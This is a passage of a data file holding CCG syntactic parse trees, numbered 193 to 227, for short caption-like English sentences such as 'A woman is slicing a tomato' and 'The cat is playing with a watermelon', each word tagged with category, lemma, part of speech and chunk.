t((s:pss\np)/pp, 'cut', 'cut', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'into', 'into', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'pieces', 'piece', 'NNS', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(193,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'denying', 'deny', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'interview', 'interview', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(194,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'granting', 'grant', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'interview', 'interview', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(195,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'granting', 'grant', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'interview', 'interview', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(196,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
ba(np:nb/n,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
t((np:nb/n)\np, '\'s', '\'s', 'POS', 'B-NP', 'O')),
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'car', 'car', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'driven', 'drive', 'VBN', 'I-VP', 'O'),
t((s:pss\np)\(s:pss\np), 'away', 'away', 'RB', 'I-ADVP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(197,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'scolding', 'scold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(198,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'dog', 'dog', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(199,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'picture', 'picture', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'camera', 'camera', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'set', 'set', 'VBN', 'I-VP', 'O'),
t((s:pss\np)\(s:pss\np), 'up', 'up', 'RP', 'I-PRT', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
ba(s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'taken', 'take', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'beach', 'beach', 'NN', 'I-NP', 'O')))),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sunset', 'sunset', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(200,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'taking', 'take', 'VBG', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'pictures', 'picture', 'NNS', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'lake', 'lake', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(201,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'sewing', 'sew', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'machine', 'machine', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(202,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'using', 'use', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'machine', 'machine', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
fa(s:pss\np,
t((s:pss\np)/pp, 'made', 'make', 'VBN', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'for', 'for', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'sewing', 'sewing', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(203,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
bxc((s:ng\np)/np,
t((s:ng\np)/np, 'falling', 'fall', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'off', 'off', 'RP', 'I-PRT', 'O')),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(204,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:pss\np),
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:pss\np,
t(s:pss\np, 'knocked', 'knock', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/pp, 'off', 'off', 'IN', 'I-PP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'B-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(205,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'tapping', 'tap', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'fingers', 'finger', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(206,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'resting', 'rest', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'fingers', 'finger', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(207,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'tapping', 'tap', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'fingers', 'finger', 'NNS', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(208,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'resting', 'rest', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'fingers', 'finger', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'table', 'table', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(209,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'passionately', 'passionately', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'watermelon', 'watermelon', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(210,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'watermelon', 'watermelon', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(211,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'passionately', 'passionately', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'watermelon', 'watermelon', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(212,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'cat', 'cat', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'watermelon', 'watermelon', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(213,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'burning', 'burn', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'cameras', 'camera', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'blow', 'blow', 'NN', 'I-NP', 'O')),
t(np\np, 'torch', 'torch', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(214,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'tall', 'tall', 'JJ', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'setting', 'set', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'fire', 'fire', 'NN', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cameras', 'camera', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(215,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'cameras', 'camera', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'burned', 'burn', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'with', 'with', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'blow', 'blow', 'NN', 'I-NP', 'O')),
t(np\np, 'torch', 'torch', 'NN', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(216,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'setting', 'set', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'fire', 'fire', 'NN', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cameras', 'camera', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(217,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'cameras', 'camera', 'NNS', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'blowing', 'blow', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'burning', 'burning', 'NN', 'I-NP', 'O'),
t(n, 'torch', 'torch', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(218,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'setting', 'set', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'fire', 'fire', 'NN', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'cameras', 'camera', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(219,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'onion', 'onion', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'pieces', 'piece', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(220,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'carrot', 'carrot', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'pieces', 'piece', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(221,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(222,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(223,
rp(s:dcl,
ba(s:dcl,
t(np, 'Someone', 'someone', 'DT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tomato', 'tomato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(224,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'holding', 'hold', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'whole', 'whole', 'JJ', 'I-NP', 'O'),
t(n, 'tomato', 'tomato', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(225,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tomato', 'tomato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(226,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'one', 'one', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'cutting', 'cut', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tomato', 'tomato', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(227,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
